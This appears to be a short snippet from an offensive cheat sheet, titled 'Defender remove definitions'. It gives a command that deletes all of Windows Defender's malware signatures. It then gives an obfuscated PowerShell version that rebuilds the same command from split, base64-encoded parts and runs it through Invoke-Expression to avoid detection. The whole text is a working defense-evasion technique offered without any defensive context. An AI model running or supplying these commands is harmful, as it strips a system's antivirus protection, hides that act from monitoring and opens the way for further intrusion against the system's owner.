Defender remove definitions

C:\progra~1\"Windows Defender"\mpcmdrun.exe -RemoveDefinitions -All

Invoke-Expression ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String([Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($($part1="QwA6AFwAcAByAG8AZwByAGEAfgAxAFwAIgBXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACIAXABt";$part2="AHAAYwBtAGQAcgB1AG4ALgBlAHgAZQAgAC0AUgBlAG0AbwB2AGUARABlAGYAaQBuAGkAdABpAG8AbgBzACAALQBBAGwAbAA=";$part1+$part2))))))));